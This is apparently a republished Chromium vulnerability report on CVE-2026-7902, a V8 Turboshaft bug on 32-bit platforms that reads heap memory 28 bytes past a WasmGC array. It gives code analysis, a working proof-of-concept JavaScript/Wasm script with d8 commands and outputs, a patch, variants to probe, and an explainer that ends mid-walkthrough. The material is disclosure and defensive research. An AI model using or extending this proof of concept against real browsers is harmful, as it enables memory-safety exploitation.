Skip to content
Memory corruption Advisory Advanced CVE-2026-7902

Out of bounds memory access in V8 (CVE-2026-7902)

A compiler bug in V8's Turboshaft backend on 32-bit platforms miscalculates the address of the high 32-bit word when splitting a 64-bit WasmGC array load, reading 28 bytes past the intended element. An attacker could use this to read adjacent heap memory outside the array bounds, though the report notes the read lands in a benign area and is limited to a fixed offset.

JunYoung Park Follow

Originally disclosed on Chrome VRP

Bounty$8,000 High View original
  • Fix shipped in 23 days

Summary

A bug in Turboshaft's Int64LoweringReducer::IncreaseOffset on 32-bit platforms (ia32, ARM) causes incorrect address computation when splitting 64-bit loads into two 32-bit loads. When element_scale > 0 and the offset+4 wraps to INT32_MIN for tagged-base loads, the fallback path adds 4 to the index instead of the offset — but the element_scale is still applied to the modified index, causing the high word to be loaded from base + (index+4)*scale + offset instead of base + index*scale + offset + 4. For i64 arrays (element_scale=3), this creates a 28-byte address error (4*8 - 4 = 28), reading the high word from adjacent heap memory past the WasmGC array.

NOTE: I'm reporting this as Type:Bug because 1) I cannot change the address offset (only offset of 28 is possible), 2) load/store occurs in benign area, and 3) WASM memory is anyway guarded by guard pages.

Bug

Summary

The IncreaseOffset function in Int64LoweringReducer does not account for element_scale when falling back to adding the offset increment to the index. When MachineOptimizationReducer folds a large constant from an i32.add index computation into the Load offset (reaching INT32_MAX - 3), the subsequent IncreaseOffset(offset, 4) call for the high-word load overflows to INT32_MIN, which is invalid for tagged-base loads. The fallback adds 4 to the index, but since element_scale=3 is still applied, the high word is loaded from an address 28 bytes too far. The same bug also affects the REDUCE(Store) path (line 363-406), which uses the same IncreaseOffset function to split 64-bit stores.

Detail

The bug exists in the interaction between MachineOptimizationReducer (constant folding) and Int64LoweringReducer (64-bit to 32-bit splitting):

Step 1: WasmLoweringReducer emits Load with element_scale=3

WasmGC array.get on an i64 array is lowered to a Load with element_scale = value_kind_size_log2(i64) = 3 and offset = WasmArray::kHeaderSize = 12:

C++
// src/compiler/turboshaft/wasm-lowering-reducer.h:358
return __ Load(array, __ ChangeInt32ToIntPtr(index), load_kind,
               RepresentationFor(array_type->element_type(), is_signed),
               WasmArray::kHeaderSize,                              // offset = 12
               array_type->element_type().value_kind_size_log2());  // element_scale = 3

Step 2: MachineOptimizationReducer folds constants into the offset

C++
// src/compiler/turboshaft/machine-optimization-reducer.h:2732-2744
} else if (const WordBinopOp* binary_op =
               index_op.TryCast<WordBinopOp>()) {
  if (binary_op->kind == WordBinopOp::Kind::kAdd &&
      TryAdjustOffset(offset, matcher_.Get(binary_op->right()),
                      *element_scale, tagged_base)) {
    index = binary_op->left();
    continue;  // element_scale is PRESERVED
  }
}

When the Wasm code computes array.get(arr, param + 268435454), the constant 268435454 is folded into the offset via TryAdjustOffset (line 2646-2670), which multiplies by 1 << element_scale: offset = 12 + 268435454 * 8 = 2147483644 (which is INT32_MAX - 3). Crucially, element_scale remains 3.

TryAdjustOffset validates this new offset passes LoadOp::OffsetIsValid(2147483644, true), which checks offset >= INT32_MIN + kHeapObjectTag = INT32_MIN + 1 — this succeeds.

Step 3: Int64LoweringReducer splits the i64 load

C++
// src/compiler/turboshaft/int64-lowering-reducer.h:347-358
if (loaded_rep == MemoryRepresentation::Int64() || ...) {
  auto [high_index, high_offset] =
      IncreaseOffset(index, offset, sizeof(int32_t), kind.tagged_base);
  return __ MakeTuple(
      Next::ReduceLoad(base, index, kind, ..., offset, element_scale),
      Next::ReduceLoad(base, high_index, kind, ..., high_offset, element_scale));
      //                                                         ^^^^^^^^^^^^^ BUG
}

Step 4: IncreaseOffset triggers the fallback

C++
// src/compiler/turboshaft/int64-lowering-reducer.h:297-320
std::pair<OptionalV<Word32>, int32_t> IncreaseOffset(OptionalV<Word32> index,
                                                     int32_t offset,
                                                     int32_t add_offset,
                                                     bool tagged_base) {
  int32_t new_offset =
      static_cast<uint32_t>(offset) + static_cast<uint32_t>(add_offset);
  // new_offset = 2147483644 + 4 = 2147483648 → wraps to INT32_MIN as int32_t
  OptionalV<Word32> new_index = index;
  if (!LoadOp::OffsetIsValid(new_offset, tagged_base)) {
    // INT32_MIN < INT32_MIN + 1 → invalid for tagged loads
    new_offset = offset;  // keep original offset
    if (index.has_value()) {
      new_index = __ Word32Add(new_index.value(), add_offset);
      // Adds 4 to the INDEX — but element_scale=3 will be applied later!
    }
  }
  return {new_index, new_offset};
}

IncreaseOffset is unaware of element_scale. When it adds 4 to the index, the subsequent Load applies element_scale=3, making the effective byte offset 4 * 8 = 32 instead of the intended 4.

Address computation:

  • Low word (correct): base + index*8 + 2147483644
  • High word (buggy): base + (index+4)*8 + 2147483644 = base + index*8 + 32 + 2147483644
  • High word (correct): base + index*8 + 2147483644 + 4
  • Error: 32 - 4 = 28 bytes

Trigger Conditions

  1. 32-bit platform (ia32 or ARM) — Int64LoweringReducer only runs on 32-bit
  2. WasmGC i64 array — element_scale=3 and tagged_base=true
  3. Array index computed as Add(variable, large_constant) — enables partial constant folding (the constant is folded into the offset while the variable remains as the index with element_scale preserved)
  4. Constant value of exactly (INT32_MAX - 3 - kHeaderSize) / 8 = 268435454 — produces offset INT32_MAX - 3, so adding 4 wraps to INT32_MIN
  5. Function compiled with Turboshaft (occurs through tier-up after ~40K calls, or immediately with --no-liftoff)

Version

Reproduced Version

  • main branch latest commit (2026/04/13): 3daaa64319f
  • V8 14.9.0

Bisect

The bug was introduced by the following commit, which added the IncreaseOffset function to handle offset overflow when splitting 64-bit loads:

commit e4e12c9ebff42aaf1fd6725396d132ae058fd8c6
Author: Matthias Liedtke <[email protected]>
Date:   Thu Jun 13 12:45:48 2024 +0200

    [wasm][turboshaft] Fix Load offset overflow in Int64Lowering

    Same as https://crrev.com/c/5608453 but for the LoadOp.
    The offset may be any value excluding int32 min for tagged loads.

    Fixed: 346505953
    Bug: 344014332
    Change-Id: I716e578d1ccd659203b1c739e77b56e3cb2bd4b0
    Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/5626025
    Cr-Commit-Position: refs/heads/main@{#94430}

This commit was intended to fix a different offset overflow issue (crbug 346505953) but introduced this new bug: the IncreaseOffset fallback path does not account for element_scale when adding to the index. The existing regression test (test/mjsunit/regress/wasm/regress-346505953.js) only tests that an out-of-bounds access traps — it does not test the fallback path with a variable index and element_scale > 0.

Reproduction Case

Two versions are provided: Version 1 uses --no-liftoff for instant reproduction; Version 2 triggers through natural tier-up (no special flags).

Release Build

Version 1 (with --no-liftoff):

Bash
out/ia32.release/d8 --no-liftoff poc.js

Result (ia32 release):

BUG DETECTED on iteration 0!
Expected: 0x1111111100000001
Got:      0x1
Low word:  0x1
High word: 0x0
High word read from offset 44 — 24 bytes past the 20-byte array end

The high word reads from offset 44 while the 1-element array ends at offset 20 (kHeaderSize + 1*8), confirming the high word is read from 24 bytes past the array allocation. The value 0x0 is whatever happened to be in adjacent heap memory.

Version 2 (natural tier-up, no flags):

Bash
out/ia32.release/d8 poc.js

Result (ia32 release):

BUG DETECTED on iteration 52252!
Expected: 0x1111111100000001
Got:      0x100000001
Low word:  0x1
High word: 0x1
High word read from offset 44 — 24 bytes past the 20-byte array end

Result (ARM release, with --no-liftoff):

BUG DETECTED on iteration 35795!
Expected: 0x1111111100000001
Got:      0x1
Low word:  0x1
High word: 0x0
High word read from offset 44 — 24 bytes past the 20-byte array end

On x64, the bug does NOT reproduce (Int64LoweringReducer does not run on 64-bit platforms):

Bash
out/x64.release/d8 --no-liftoff poc.js
# Output: No bug detected (function may not have tiered up to Turboshaft)

Debug Build

Bash
out/ia32.debug/d8 --no-liftoff poc.js

Result (ia32 debug):

BUG DETECTED on iteration 0!
Expected: 0x1111111100000001
Got:      0x-21524110ffffffff
Low word:  0x1
High word: 0xdeadbeef
High word read from offset 44 — 24 bytes past the 20-byte array end

The leaked high word 0xdeadbeef is V8's debug zap value for uninitialized/freed memory, confirming the read reached into adjacent uninitialized heap memory.

Note: No DCHECK fires for this bug because the inputs to IncreaseOffset are individually valid — the error is semantic (element_scale is not considered), not a simple bounds violation.

PoC Code

JavaScript
// PoC: Int64LoweringReducer IncreaseOffset incorrect address computation
// Affects: 32-bit platforms (ia32, ARM) when compiled with Turboshaft
// Bug: High word of i64 loaded from wrong address (28 bytes off)
//
// Run with: out/ia32.release/d8 --no-liftoff poc.js
//       or: out/ia32.release/d8 poc.js  (triggers via natural tier-up)

d8.file.execute("test/mjsunit/wasm/wasm-module-builder.js");

let builder = new WasmModuleBuilder();
let array_type = builder.addArray(kWasmI64);

// This constant causes MachineOptimizationReducer to fold it into the Load offset:
// offset = kHeaderSize + BIG_CONST * 8 = 12 + 268435454*8 = 2147483644 = INT32_MAX-3
// Adding 4 for the high word wraps to INT32_MIN, triggering the IncreaseOffset bug
const BIG_CONST = 268435454;

builder.addFunction("test", makeSig([kWasmI32], [kWasmI64]))
  .addLocals(wasmRefNullType(array_type), 1)
  .addBody([
    // Create array of 1 i64 element (20 bytes total).
    // Correct high word: offset 16 (within array).
    // Buggy high word:   offset 44 (24 bytes PAST array end).
    ...wasmI32Const(1),
    kGCPrefix, kExprArrayNewDefault, array_type,
    kExprLocalSet, 1,

    // Set element 0 = 0x1111111100000001 (low=0x00000001, high=0x11111111)
    kExprLocalGet, 1,
    ...wasmI32Const(0),
    ...wasmI64Const(0x1111111100000001n),
    kGCPrefix, kExprArraySet, array_type,

    // Read element at index (param + BIG_CONST)
    // When param=-BIG_CONST, effective index=0, bounds check passes
    // But high word is read from offset 44 — 24 bytes past the array end
    kExprLocalGet, 1,
    kExprLocalGet, 0,
    ...wasmI32Const(BIG_CONST),
    kExprI32Add,
    kGCPrefix, kExprArrayGet, array_type,
  ])
  .exportFunc();

let instance = builder.instantiate();

let expected = 0x1111111100000001n;
let bugDetected = false;

// Call enough times to trigger tier-up to Turboshaft
for (let i = 0; i < 100000; i++) {
  let result = instance.exports.test(-BIG_CONST);
  if (result !== expected) {
    print("BUG DETECTED on iteration " + i + "!");
    print("Expected: 0x" + expected.toString(16));
    print("Got:      0x" + result.toString(16));
    print("Low word:  0x" + (result & 0xFFFFFFFFn).toString(16));
    print("High word: 0x" + ((result >> 32n) & 0xFFFFFFFFn).toString(16));
    print("High word read from offset 44 — 24 bytes past the 20-byte array end");
    bugDetected = true;
    break;
  }
}

if (!bugDetected) {
  print("No bug detected (function may not have tiered up to Turboshaft)");
}

Suggested Patch

File: src/compiler/turboshaft/int64-lowering-reducer.h

Diff
@@ -347,6 +347,13 @@
     if (loaded_rep == MemoryRepresentation::Int64() ||
         loaded_rep == MemoryRepresentation::Uint64()) {
+      // When element_scale > 0, fold it into the index before splitting.
+      // IncreaseOffset adds to the index on fallback, but the element_scale
+      // would still be applied, causing an incorrect address for the high word.
+      if (element_scale > 0 && index.has_value()) {
+        index = __ Word32ShiftLeft(index.value(), element_scale);
+        element_scale = 0;
+      }
       auto [high_index, high_offset] =
           IncreaseOffset(index, offset, sizeof(int32_t), kind.tagged_base);
       return __ MakeTuple(

The fix normalizes element_scale to 0 by folding the shift into the index before splitting the 64-bit load. This ensures IncreaseOffset's fallback path (adding to the index) produces a correct byte-level offset of +4, regardless of whether the offset increment goes to the offset field or the index. The atomic code paths (lines 326-338) already correctly pre-fold element_scale in the same way. The same fix should be applied to the REDUCE(Store) handler (line 388-400) which has the identical bug.

The original report as published on the Chromium issue tracker, by JunYoung Park(@candymate) of KAIST Hacking Lab. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 10 min read.

Context

This is a bug in V8's Turboshaft compiler, specifically in the Int64LoweringReducer, which runs only on 32-bit platforms (ia32 and ARM). On those platforms a 64-bit load has to be split into two 32-bit loads: a low word and a high word. The reducer computes the address of the high word by calling IncreaseOffset, which normally just adds 4 to the load's offset field.

The bug appears when the load carries an element_scale greater than zero, as it does for WasmGC array accesses. In that case the effective address is base + index*scale + offset, and the fallback path inside IncreaseOffset adds the increment to the index instead of the offset, while element_scale is still applied afterwards. For an i64 array (element_scale = 3) the high word is read from base + (index+4)*8 + offset rather than base + index*8 + offset + 4, an address error of 28 bytes (4*8 - 4 = 28). The high word therefore comes from adjacent heap memory past the WasmGC array.

The reporter filed it as Type:Bug rather than a security issue, for three stated reasons: only an offset of 28 is possible, the load/store occurs in a benign area, and Wasm memory is anyway guarded by guard pages.

Setup

  • Target: V8, reproduced on the main branch at commit 3daaa64319f (2026/04/13), V8 14.9.0.
  • Platforms: ia32 and ARM release and debug builds; x64 does not reproduce because Int64LoweringReducer does not run on 64-bit platforms.
  • Shell: d8, with the mjsunit Wasm module builder (test/mjsunit/wasm/wasm-module-builder.js).
  • Two reproduction modes: --no-liftoff for immediate compilation with Turboshaft, or no flags at all, relying on natural tier-up after roughly 40K calls.

Finding it

The reporter traced the interaction between two reducers. MachineOptimizationReducer folds constants from an i32.add index computation into the load offset, and Int64LoweringReducer then splits the 64-bit load. The first reducer preserves element_scale when it folds; the second reducer's IncreaseOffset helper knows nothing about element_scale. When the folded offset is INT32_MAX - 3, adding 4 for the high word wraps to INT32_MIN, which is invalid for tagged-base loads, so IncreaseOffset takes its fallback path and adds 4 to the index. Because element_scale is still applied to that index, the high word lands 28 bytes too far.

The reporter also noted that the same bug affects the REDUCE(Store) path (lines 363-406), which uses the same IncreaseOffset function to split 64-bit stores.

Exploitation

Step 1: WasmGC array.get is lowered with element_scale=3

A WasmGC array.get on an i64 array becomes a Load with element_scale = value_kind_size_log2(i64) = 3 and offset = WasmArray::kHeaderSize = 12:

C++
// src/compiler/turboshaft/wasm-lowering-reducer.h:358
return __ Load(array, __ ChangeInt32ToIntPtr(index), load_kind,
               RepresentationFor(array_type->element_type(), is_signed),
               WasmArray::kHeaderSize,                              // offset = 12
               array_type->element_type().value_kind_size_log2());  // element_scale = 3

Step 2: MachineOptimizationReducer folds a constant into the offset

C++
// src/compiler/turboshaft/machine-optimization-reducer.h:2732-2744
} else if (const WordBinopOp* binary_op =
               index_op.TryCast<WordBinopOp>()) {
  if (binary_op->kind == WordBinopOp::Kind::kAdd &&
      TryAdjustOffset(offset, matcher_.Get(binary_op->right()),
                      *element_scale, tagged_base)) {
    index = binary_op->left();
    continue;  // element_scale is PRESERVED
  }
}

When the Wasm code computes array.get(arr, param + 268435454), the constant 268435454 is folded into the offset via TryAdjustOffset (lines 2646-2670), which multiplies by 1 << element_scale: offset = 12 + 268435454 * 8 = 2147483644 (which is INT32_MAX - 3). Crucially, element_scale remains 3.

TryAdjustOffset validates the new offset with LoadOp::OffsetIsValid(2147483644, true), which checks offset >= INT32_MIN + kHeapObjectTag = INT32_MIN + 1. That check succeeds.

Step 3: Int64LoweringReducer splits the i64 load

C++
// src/compiler/turboshaft/int64-lowering-reducer.h:347-358
if (loaded_rep == MemoryRepresentation::Int64() || ...) {
  auto [high_index, high_offset] =
      IncreaseOffset(index, offset, sizeof(int32_t), kind.tagged_base);
  return __ MakeTuple(
      Next::ReduceLoad(base, index, kind, ..., offset, element_scale),
      Next::ReduceLoad(base, high_index, kind, ..., high_offset, element_scale));
      //                                                         ^^^^^^^^^^^^^ BUG
}

Step 4: IncreaseOffset takes the fallback path

C++
// src/compiler/turboshaft/int64-lowering-reducer.h:297-320
std::pair<OptionalV<Word32>, int32_t> IncreaseOffset(OptionalV<Word32> index,
                                                     int32_t offset,
                                                     int32_t add_offset,
                                                     bool tagged_base) {
  int32_t new_offset =
      static_cast<uint32_t>(offset) + static_cast<uint32_t>(add_offset);
  // new_offset = 2147483644 + 4 = 2147483648 → wraps to INT32_MIN as int32_t
  OptionalV<Word32> new_index = index;
  if (!LoadOp::OffsetIsValid(new_offset, tagged_base)) {
    // INT32_MIN < INT32_MIN + 1 → invalid for tagged loads
    new_offset = offset;  // keep original offset
    if (index.has_value()) {
      new_index = __ Word32Add(new_index.value(), add_offset);
      // Adds 4 to the INDEX — but element_scale=3 will be applied later!
    }
  }
  return {new_index, new_offset};
}

IncreaseOffset is unaware of element_scale. When it adds 4 to the index, the subsequent load applies element_scale=3, making the effective byte offset 4 * 8 = 32 instead of the intended 4.

The resulting address computation:

  • Low word (correct): base + index*8 + 2147483644
  • High word (buggy): base + (index+4)*8 + 2147483644 = base + index*8 + 32 + 2147483644
  • High word (correct): base + index*8 + 2147483644 + 4
  • Error: 32 - 4 = 28 bytes

Trigger conditions

  1. 32-bit platform (ia32 or ARM): Int64LoweringReducer only runs on 32-bit.
  2. WasmGC i64 array: element_scale=3 and tagged_base=true.
  3. Array index computed as Add(variable, large_constant): this enables partial constant folding, with the constant folded into the offset while the variable remains as the index and element_scale is preserved.
  4. Constant value of exactly (INT32_MAX - 3 - kHeaderSize) / 8 = 268435454: this produces offset INT32_MAX - 3, so adding 4 wraps to INT32_MIN.
  5. Function compiled with Turboshaft: through tier-up after roughly 40K calls, or immediately with --no-liftoff.

Reproduction

The PoC builds a one-element i64 array, stores 0x1111111100000001 in it, and reads element param + BIG_CONST with param = -BIG_CONST, so the effective index is 0 and the bounds check passes. The high word is nevertheless read from offset 44, 24 bytes past the 20-byte array end.

JavaScript
// PoC: Int64LoweringReducer IncreaseOffset incorrect address computation
// Affects: 32-bit platforms (ia32, ARM) when compiled with Turboshaft
// Bug: High word of i64 loaded from wrong address (28 bytes off)
//
// Run with: out/ia32.release/d8 --no-liftoff poc.js
//       or: out/ia32.release/d8 poc.js  (triggers via natural tier-up)

d8.file.execute("test/mjsunit/wasm/wasm-module-builder.js");

let builder = new WasmModuleBuilder();
let array_type = builder.addArray(kWasmI64);

// This constant causes MachineOptimizationReducer to fold it into the Load offset:
// offset = kHeaderSize + BIG_CONST * 8 = 12 + 268435454*8 = 2147483644 = INT32_MAX-3
// Adding 4 for the high word wraps to INT32_MIN, triggering the IncreaseOffset bug
const BIG_CONST = 268435454;

builder.addFunction("test", makeSig([kWasmI32], [kWasmI64]))
  .addLocals(wasmRefNullType(array_type), 1)
  .addBody([
    // Create array of 1 i64 element (20 bytes total).
    // Correct high word: offset 16 (within array).
    // Buggy high word:   offset 44 (24 bytes PAST array end).
    ...wasmI32Const(1),
    kGCPrefix, kExprArrayNewDefault, array_type,
    kExprLocalSet, 1,

    // Set element 0 = 0x1111111100000001 (low=0x00000001, high=0x11111111)
    kExprLocalGet, 1,
    ...wasmI32Const(0),
    ...wasmI64Const(0x1111111100000001n),
    kGCPrefix, kExprArraySet, array_type,

    // Read element at index (param + BIG_CONST)
    // When param=-BIG_CONST, effective index=0, bounds check passes
    // But high word is read from offset 44 — 24 bytes past the array end
    kExprLocalGet, 1,
    kExprLocalGet, 0,
    ...wasmI32Const(BIG_CONST),
    kExprI32Add,
    kGCPrefix, kExprArrayGet, array_type,
  ])
  .exportFunc();

let instance = builder.instantiate();

let expected = 0x1111111100000001n;
let bugDetected = false;

// Call enough times to trigger tier-up to Turboshaft
for (let i = 0; i < 100000; i++) {
  let result = instance.exports.test(-BIG_CONST);
  if (result !== expected) {
    print("BUG DETECTED on iteration " + i + "!");
    print("Expected: 0x" + expected.toString(16));
    print("Got:      0x" + result.toString(16));
    print("Low word:  0x" + (result & 0xFFFFFFFFn).toString(16));
    print("High word: 0x" + ((result >> 32n) & 0xFFFFFFFFn).toString(16));
    print("High word read from offset 44 — 24 bytes past the 20-byte array end");
    bugDetected = true;
    break;
  }
}

if (!bugDetected) {
  print("No bug detected (function may not have tiered up to Turboshaft)");
}

Version 1, with --no-liftoff:

Bash
out/ia32.release/d8 --no-liftoff poc.js

Result on ia32 release:

Text
BUG DETECTED on iteration 0!
Expected: 0x1111111100000001
Got:      0x1
Low word:  0x1
High word: 0x0
High word read from offset 44 — 24 bytes past the 20-byte array end

The high word reads from offset 44 while the one-element array ends at offset 20 (kHeaderSize + 1*8), confirming the read is 24 bytes past the array allocation. The value 0x0 is whatever happened to be in adjacent heap memory.

Version 2, natural tier-up with no flags:

Bash
out/ia32.release/d8 poc.js

Result on ia32 release:

Text
BUG DETECTED on iteration 52252!
Expected: 0x1111111100000001
Got:      0x100000001
Low word:  0x1
High word: 0x1
High word read from offset 44 — 24 bytes past the 20-byte array end

Result on ARM release with --no-liftoff:

Text
BUG DETECTED on iteration 35795!
Expected: 0x1111111100000001
Got:      0x1
Low word:  0x1
High word: 0x0
High word read from offset 44 — 24 bytes past the 20-byte array end

On x64 the bug does not reproduce, because Int64LoweringReducer does not run on 64-bit platforms:

Bash
out/x64.release/d8 --no-liftoff poc.js
# Output: No bug detected (function may not have tiered up to Turboshaft)

Debug build:

Bash
out/ia32.debug/d8 --no-liftoff poc.js

Result on ia32 debug:

Text
BUG DETECTED on iteration 0!
Expected: 0x1111111100000001
Got:      0x-21524110ffffffff
Low word:  0x1
High word: 0xdeadbeef
High word read from offset 44 — 24 bytes past the 20-byte array end

The leaked high word 0xdeadbeef is V8's debug zap value for uninitialised or freed memory, confirming the read reached adjacent uninitialised heap memory. No DCHECK fires, because the inputs to IncreaseOffset are individually valid: the error is semantic (element_scale is not considered), not a simple bounds violation.

Root cause

The IncreaseOffset function in Int64LoweringReducer does not account for element_scale when it falls back to adding the offset increment to the index. The fallback is only reached when the offset plus 4 overflows into INT32_MIN, which is invalid for tagged-base loads. In that case the increment is applied to the index, but the load still applies element_scale to that index, so the increment is multiplied by the element size. For i64 arrays that turns a 4-byte increment into a 32-byte one, and the high word is read 28 bytes past where it should be.

The bug was introduced by commit [redacted], which added IncreaseOffset to handle offset overflow when splitting 64-bit loads:

Text
commit [redacted]
Author: Matthias Liedtke <[redacted]>
Date:   Thu Jun 13 12:45:48 2024 +0200

    [wasm][turboshaft] Fix Load offset overflow in Int64Lowering

    Same as https://crrev.com/c/5608453 but for the LoadOp.
    The offset may be any value excluding int32 min for tagged loads.

    Fixed: 346505953
    Bug: 344014332
    Change-Id: [redacted]
    Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/5626025
    Cr-Commit-Position: refs/heads/main@{#94430}

That commit was intended to fix a different offset overflow issue (crbug 346505953) but introduced this one: the fallback path does not account for element_scale when adding to the index. The existing regression test (test/mjsunit/regress/wasm/regress-346505953.js) only checks that an out-of-bounds access traps; it does not exercise the fallback path with a variable index and element_scale > 0.

Impact

On 32-bit ia32 and ARM builds, a WasmGC i64 array access whose index is variable + 268435454 can make the high word of the loaded i64 come from 28 bytes past the intended address, reading adjacent heap memory. The reporter's own assessment limits the practical severity: the address offset cannot be changed (only 28 is possible), the access lands in a benign area, and Wasm memory is guarded by guard pages. The report does not describe any path to arbitrary read or write, and the value read is whatever happens to sit in adjacent heap memory.

Fix

The suggested patch normalises element_scale to 0 by folding the shift into the index before the 64-bit load is split, so that IncreaseOffset's fallback produces a correct byte-level increment of 4 whether it goes to the offset field or the index:

Diff
@@ -347,6 +347,13 @@
     if (loaded_rep == MemoryRepresentation::Int64() ||
         loaded_rep == MemoryRepresentation::Uint64()) {
+      // When element_scale > 0, fold it into the index before splitting.
+      // IncreaseOffset adds to the index on fallback, but the element_scale
+      // would still be applied, causing an incorrect address for the high word.
+      if (element_scale > 0 && index.has_value()) {
+        index = __ Word32ShiftLeft(index.value(), element_scale);
+        element_scale = 0;
+      }
       auto [high_index, high_offset] =
           IncreaseOffset(index, offset, sizeof(int32_t), kind.tagged_base);
       return __ MakeTuple(

The reporter notes that the atomic code paths (lines 326-338) already pre-fold element_scale in the same way, and that the same fix should be applied to the REDUCE(Store) handler (line 388-400), which has the identical bug.

Variants to test

  1. 64-bit stores to WasmGC i64 arrays with an index of variable + 268435454 on ia32 or ARM. A positive result is a store whose high word lands 28 bytes past the intended slot, visible as corruption of adjacent heap memory or a mismatch when reading the slot back.
  2. Other element sizes with element_scale > 0 (for example i32 or f64 arrays) combined with a constant that pushes the folded offset to INT32_MAX - 3. A positive result is a high word read from base + (index+4)*scale + offset rather than base + index*scale + offset + 4.
  3. The same pattern on other 32-bit backends that run Int64LoweringReducer. A positive result is the same 28-byte discrepancy for i64 arrays, or the corresponding 4*scale - 4 discrepancy for other element sizes.
  4. Atomic load and store paths with element_scale > 0. These already pre-fold the scale, so a positive result would indicate a separate gap in that handling.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 22 min read.

What happened, in plain words

V8 is the engine inside Google Chrome that reads and runs JavaScript, and also WebAssembly (Wasm), a second language that browsers can run. To make programs fast, V8 does not run code line by line forever. After a function has been called many times, V8 rewrites it into a faster form using a component called a compiler. One of V8's compilers is called Turboshaft.

This report is about a mistake inside Turboshaft. On 32-bit processors (older or smaller chips, such as ia32 and ARM), a 64-bit number cannot be loaded from memory in one go, because the processor's registers and addresses are only 32 bits wide. So the compiler splits the load into two halves: a low word and a high word. The compiler has to work out two addresses, one for each half. In one specific situation, the address it works out for the high word is wrong by 28 bytes, so the high word is read from memory just past the end of the array it belongs to.

The person who found it filed it as a normal bug (Type:Bug), not as a security vulnerability, for three reasons they state: the wrong address cannot be changed (only an offset of 28 is possible), the read or write lands in a harmless area, and Wasm memory is protected by guard pages anyway. A guard page is a block of memory the operating system marks as off limits, so touching it crashes the program instead of silently reading something secret.

The background you need

A few ideas come up again and again, so here they are from zero.

  • Compiler: a program that translates code a human wrote into instructions the processor can run, often making it faster along the way. Think of a translator who rewrites a letter into a shorter, more efficient version without changing its meaning.
  • Reducer: in Turboshaft, a reducer is one small pass over the program that simplifies or rewrites part of it. Several reducers run one after another, each doing one job.
  • 32-bit vs 64-bit: a 32-bit processor handles numbers and memory addresses that are 32 bits wide. A 64-bit processor handles 64 bits at once. A 64-bit value is twice as wide as a 32-bit slot, so on a 32-bit machine it has to be handled in two pieces.
  • Low word and high word: the two halves of a 64-bit number. The low word holds the less significant 32 bits, the high word the more significant 32 bits. If you write the number in hexadecimal, the low word is the right-hand part and the high word the left-hand part.
  • Load and store: a load reads a value from memory; a store writes a value to memory.
  • Offset: a fixed number of bytes added to a starting address to reach a particular field. If a house is the base address, the offset is which door to knock on.
  • Index and element scale: an array is a row of equal-sized slots. The index says which slot (0, 1, 2, ...). The element scale says how many bytes each slot takes, expressed as a power of two. A scale of 3 means each slot is 2 to the power 3, that is 8 bytes. The address of a slot is base + index * 8 + offset.
  • WasmGC: the part of WebAssembly that lets programs create and use garbage-collected objects such as arrays and structs, similar to objects in JavaScript.
  • i64: a 64-bit integer, a whole number stored in 64 bits.
  • Tier-up: V8's habit of starting with a simple compiler and switching to a faster one once a function is used enough. The report mentions roughly 40,000 calls as the point where this happens.
  • d8: V8's own command-line shell for running JavaScript and Wasm outside a browser, used by V8 developers for testing.
  • DCHECK: a sanity check compiled into debug builds of V8. If an assumption is violated, it stops the program loudly.
  • Heap: the pool of memory a program uses for its objects at runtime.
  • Zap value: a recognisable filler pattern that debug builds write into memory, so that reading uninitialised or freed memory shows up as an obvious value instead of something plausible.
  • Guard page: a memory page the operating system refuses to let the program touch, used as a tripwire at the edge of a memory region.
  • CVE: a public identifier for a known vulnerability, so people can refer to it unambiguously.

The context of the bug

The problem lives in a part of Turboshaft called Int64LoweringReducer. Its job is exactly the splitting described above: it turns one 64-bit load into two 32-bit loads. To find the address of the high word, it calls a small helper function named IncreaseOffset, which normally just adds 4 to the load's offset field, because the high word sits 4 bytes after the low word.

The trouble starts when the load also carries an element_scale greater than zero, which is what happens for WasmGC array accesses. In that case the real address is base + index*scale + offset. When IncreaseOffset cannot simply add 4 to the offset (because the result would be an invalid number), it falls back to adding 4 to the index instead. But the scale is still applied to that index afterwards, so the 4 becomes 4 times the element size. For an i64 array, where the scale is 3 (8 bytes per element), the high word is read from base + (index+4)*8 + offset instead of base + index*8 + offset + 4. That is an address error of 28 bytes, because 4*8 - 4 = 28. The high word therefore comes from memory next to the array rather than from inside it.

Setting up

  • Target: V8, reproduced on the main branch at commit 3daaa64319f (2026/04/13), V8 14.9.0.
  • Platforms: ia32 and ARM, in both release and debug builds. On x64 the bug does not reproduce, because Int64LoweringReducer does not run on 64-bit platforms at all.
  • Shell: d8, together with the mjsunit Wasm module builder found at test/mjsunit/wasm/wasm-module-builder.js. The module builder is a helper script that lets a test describe a Wasm module in JavaScript instead of writing raw Wasm bytes by hand.
  • Two reproduction modes: passing --no-liftoff makes V8 compile the function with Turboshaft straight away, so the bug shows up immediately. Running with no flags relies on natural tier-up, which takes roughly 40,000 calls before the fast compiler is used.

Finding it

The reporter traced how two reducers interact. First, MachineOptimizationReducer takes a constant out of an i32.add used to compute an array index and folds it into the load's offset. Folding here means doing arithmetic ahead of time and storing the result in the instruction, so the program does not have to compute it on every run. This reducer keeps element_scale as it is. Second, Int64LoweringReducer splits the 64-bit load, and its helper IncreaseOffset knows nothing about element_scale.

When the folded offset ends up as INT32_MAX - 3, adding 4 for the high word wraps around to INT32_MIN. INT32_MAX is the largest 32-bit signed number and INT32_MIN the smallest; adding 1 to the largest gives the smallest, like a car odometer rolling over. INT32_MIN is not a valid offset for a load whose base is a tagged pointer (a pointer with a small tag in its low bits, used by V8 to mark heap objects), so IncreaseOffset takes its fallback path and adds 4 to the index. Because element_scale is still applied to that index, the high word lands 28 bytes too far.

The reporter also noted that the same bug affects the REDUCE(Store) path (lines 363-406), which uses the same IncreaseOffset function when splitting 64-bit stores.

Walking through the code

Step 1: a WasmGC array read becomes a load with element_scale=3

When Wasm code reads an element from an i64 array, the compiler turns it into a Load instruction with element_scale = value_kind_size_log2(i64) = 3 and offset = WasmArray::kHeaderSize = 12. The header size is the fixed part at the start of the array object before the elements begin.

C++
// src/compiler/turboshaft/wasm-lowering-reducer.h:358
return __ Load(array, __ ChangeInt32ToIntPtr(index), load_kind,
               RepresentationFor(array_type->element_type(), is_signed),
               WasmArray::kHeaderSize,                              // offset = 12
               array_type->element_type().value_kind_size_log2());  // element_scale = 3

Line by line:

  1. return __ Load(...) creates a load instruction and returns it. The __ is a shorthand the compiler code uses to build instructions.
